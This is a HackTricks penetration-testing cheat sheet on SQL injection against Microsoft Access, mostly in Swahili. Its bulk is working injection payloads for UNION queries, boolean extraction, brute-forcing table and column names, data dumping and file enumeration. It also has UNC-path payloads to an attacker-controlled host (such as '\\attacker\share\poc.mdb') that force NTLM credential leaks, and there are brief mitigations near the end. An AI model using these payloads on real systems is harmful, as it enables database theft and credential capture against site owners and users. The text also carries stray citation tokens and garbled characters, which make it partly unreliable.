MS Access SQL Injection
Reading time: 10 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na ๐ฌ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter ๐ฆ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Online Playground
DB Limitations
String Concatenation
Kuunganisha nyuzi kunawezekana kwa kutumia wahusika & (%26)
na + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Maoni
Hakuna maoni katika MS access, lakini inaonekana inawezekana kuondoa ya mwisho ya swali kwa kutumia herufi ya NULL:
1' union select 1,2 from table%00
Ikiwa hii haifanyi kazi unaweza kila wakati kurekebisha sintaksia ya ombi:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
Haziruhishwa.
LIMIT
Mwandiko wa LIMIT
haujawekwa. Hata hivyo, inawezekana kupunguza matokeo ya swali la SELECT kwa safu za kwanza N za jedwali kwa kutumia mwandiko wa TOP
. TOP
inakubali kama hoja nambari, ikiwakilisha idadi ya safu zitakazorejeshwa.
1' UNION SELECT TOP 3 attr FROM table%00
Kama TOP unaweza kutumia LAST
ambayo itapata safu kutoka mwisho.
UNION Queries/Sub queries
Katika SQLi kwa kawaida utataka kwa namna fulani kutekeleza uchunguzi mpya ili kutoa taarifa kutoka kwa meza nyingine. MS Access kila wakati inahitaji kwamba katika subqueries au uchunguzi wa ziada FROM
inapaswa kuonyeshwa.
Hivyo, ikiwa unataka kutekeleza UNION SELECT
au UNION ALL SELECT
au SELECT
kati ya mabano katika hali, kila wakati unahitaji kuonyesha FROM
na jina halali la meza.
Kwa hivyo, unahitaji kujua jina halali la meza.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
Hii itakuruhusu kutoa thamani za jedwali la sasa bila kuhitaji kujua jina la jedwali.
MS Access inaruhusu sintaksia za ajabu kama '1'=2='3'='asd'=false
. Kama kawaida, SQL injection itakuwa ndani ya WHERE
clause tunaweza kuitumia hiyo.
Fikiria una SQLi katika hifadhidata ya MS Access na unajua (au umekisia) kwamba jina moja la safu ni username, na hiyo ndiyo sehemu unayotaka kutoa. Unaweza kuangalia majibu tofauti ya programu ya wavuti wakati mbinu ya chaining equals inatumika na kwa uwezekano kutoa maudhui kwa kutumia boolean injection kwa kutumia Mid
function kupata substrings.
'=(Mid(username,1,3)='adm')='
Ikiwa unajua jina la jedwali na safu ya kutupa unaweza kutumia mchanganyiko kati ya Mid
, LAST
na TOP
ili kutoa taarifa zote kupitia boolean SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Feel free to check this in the online playground.
Brute-forcing Majina ya Meza
Kwa kutumia mbinu ya kuunganisha sawa unaweza pia bruteforce majina ya meza na kitu kama:
'=(select+top+1+'lala'+from+<table_name>)='
Unaweza pia kutumia njia ya jadi zaidi:
-1' AND (SELECT TOP 1 <table_name>)%00
Feel free to check this in the online playground.
- Sqlmap majina ya kawaida ya meza: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Kuna orodha nyingine katika http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing Majina ya Safu
Unaweza kujaribu kwa nguvu majina ya safu za sasa kwa kutumia hila ya kuunganisha sawa na:
'=column_name='
Au kwa group by:
-1' GROUP BY column_name%00
Au unaweza kutumia brute-force majina ya safu za meza tofauti na:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumping data
Tumesha jadili mbinu ya kuunganisha sawa kutoa data kutoka kwa jedwali la sasa na mengineyo. Lakini kuna njia nyingine:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
Kwa kifupi, ombi linatumia taarifa ya "ikiwa-kisha" ili kuanzisha "200 OK" katika kesi ya mafanikio au "500 Internal Error" vinginevyo. Kwa kutumia opereta TOP 10, inawezekana kuchagua matokeo kumi ya kwanza. Matumizi yanayofuata ya LAST yanaruhusu kuzingatia tuple ya 10 tu. Kwenye thamani hiyo, kwa kutumia opereta MID, inawezekana kufanya kulinganisha rahisi la herufi. Kwa kubadilisha ipasavyo index ya MID na TOP, tunaweza kutoa maudhui ya uwanja wa "username" kwa safu zote.
Hila za Muda (Kiziwi)
Jet/ACE SQL yenyewe haitoi kazi asilia ya SLEEP()
au WAITFOR
, hivyo sindano za kiziwi za muda za jadi zimepungukiwa. Hata hivyo, bado unaweza kuanzisha kuchelewesha kunakoweza kupimwa kwa kulazimisha injini kufikia rasilimali ya mtandao ambayo ni pole au haisikii. Kwa sababu injini itajaribu kufungua faili kabla ya kurudisha matokeo, muda wa majibu ya HTTP unaakisi ucheleweshaji wa safari kwa mwenyeji anayodhibitiwa na mshambuliaji.
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
Point the UNC path to:
- a SMB share behind a high-latency link
- a host that drops the TCP handshake after
SYN-ACK
- a firewall sinkhole
Sekunde za ziada zinazotolewa na utafutaji wa mbali zinaweza kutumika kama out-of-band timing oracle kwa masharti ya boolean (kwa mfano, chagua njia polepole tu wakati hali iliyoingizwa ni ya kweli). Microsoft inaandika tabia ya hifadhidata ya mbali na kitufe cha kuua kwenye rejista kinachohusiana katika KB5002984. ๎cite๎turn1search0๎
Other Interesting functions
Mid('admin',1,1)
get substring from position 1 length 1 (initial position is 1)LEN('1234')
get length of stringASC('A')
get ascii value of charCHR(65)
get string from ascii valueIIF(1=1,'a','b')
if thenCOUNT(*)
Count number of items
Enumerating tables
From here you can see a query to get tables names:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Hata hivyo, kumbuka kwamba ni kawaida sana kupata SQL Injections ambapo huna uf access wa kusoma jedwali MSysObjects
.
Ufikiaji wa Faili
Njia Kamili ya Katalogi ya Msingi wa Mtandao
Ujuzi wa njia kamili ya msingi wa mtandao unaweza kusaidia mashambulizi zaidi. Ikiwa makosa ya programu hayajafichwa kabisa, njia ya katalogi inaweza kufichuliwa kwa kujaribu kuchagua data kutoka kwa hifadhidata isiyokuwepo.
http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access inajibu kwa ujumbe wa kosa unaoonyesha njia kamili ya katalogi ya wavuti.
Uhesabuji wa Faili
Kipengele kinachofuata cha shambulio kinaweza kutumika kujua uwepo wa faili kwenye mfumo wa mbali. Ikiwa faili iliyoainishwa ipo, MS Access inasababisha ujumbe wa kosa ukisema kwamba muundo wa hifadhidata si sahihi:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Njia nyingine ya kuhesabu faili inajumuisha kuainisha kipengele cha hifadhidata.jedwali. Ikiwa faili iliyoainishwa ipo, MS Access inaonyesha ujumbe wa kosa la muundo wa hifadhidata.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Kukisia Jina la Faili la .mdb
Jina la faili la hifadhidata (.mdb) linaweza kufahamika kwa kutumia swali lifuatalo:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Ambapo name[i] ni jina la faili la .mdb na realTable ni jedwali lililopo ndani ya hifadhidata. Ingawa MS Access kila wakati itasababisha ujumbe wa kosa, inawezekana kutofautisha kati ya jina la faili lisilo sahihi na jina la faili la .mdb linalofaa.
Ufikiaji wa Hifadhidata ya Mbali & Wizi wa Akreditivu za NTLM (2023)
Tangu Jet 4.0 kila swali linaweza kurejelea jedwali lililoko kwenye faili tofauti ya .mdb/.accdb
kupitia kipengele cha IN '<path>'
:
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
Ikiwa ingizo la mtumiaji limeunganishwa katika sehemu baada ya IN (au katika JOIN โฆ IN
/ OPENROWSET
/ OPENDATASOURCE
call) mshambuliaji anaweza kubaini UNC path inayorejelea mwenyeji anayedhibiti. Injini itafanya:
- kujaribu kuthibitisha kupitia SMB / HTTP kufungua hifadhidata ya mbali;
- kuvuja NTLM credentials za seva ya wavuti (uthibitishaji wa kulazimishwa);
- kuchambua faili ya mbali โ hifadhidata isiyo sahihi au mbaya inaweza kusababisha makosa ya kuharibu kumbukumbu ya Jet/ACE ambayo yamefanyiwa marekebisho mara kadhaa (mfano CVE-2021-28455).
Mfano wa majaribio ya kuingiza:
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
Impact:
- Uhamasishaji wa Net-NTLMv2 hashes nje ya mtandao (zinazoweza kutumika kwa relay au offline cracking).
- Utekelezaji wa msimbo wa mbali unaweza kutokea ikiwa hitilafu mpya ya Jet/ACE parser itatumika.
Mitigations (inapendekezwa hata kwa programu za zamani za Classic ASP):
- Ongeza thamani ya rejista
AllowQueryRemoteTables = 0
chini yaHKLM\Software\Microsoft\Jet\4.0\Engines
(na chini ya njia sawa ya ACE). Hii inalazimisha Jet/ACE kukataa njia za mbali zinazooanza na\\
. - Zuia SMB/WebDAV zinazotoka kwenye mpaka wa mtandao.
- Safisha / weka vigezo sehemu yoyote ya query ambayo inaweza kuishia ndani ya kipande cha
IN
.
Vector ya uthibitishaji wa kulazimishwa ilirejelewa na Check Point Research mnamo 2023, ikithibitisha kuwa bado inaweza kutumika kwenye Windows Server iliyosasishwa kikamilifu wakati funguo ya rejista haipo. ๎cite๎turn0search0๎
.mdb Password Cracker
Access PassView ni chombo cha bure ambacho kinaweza kutumika kurejesha nenosiri kuu la hifadhidata ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0.
References
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
- Microsoft KB5002984 โ Configuring Jet/ACE to block remote tables
- Check Point Research โ Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na ๐ฌ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter ๐ฆ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.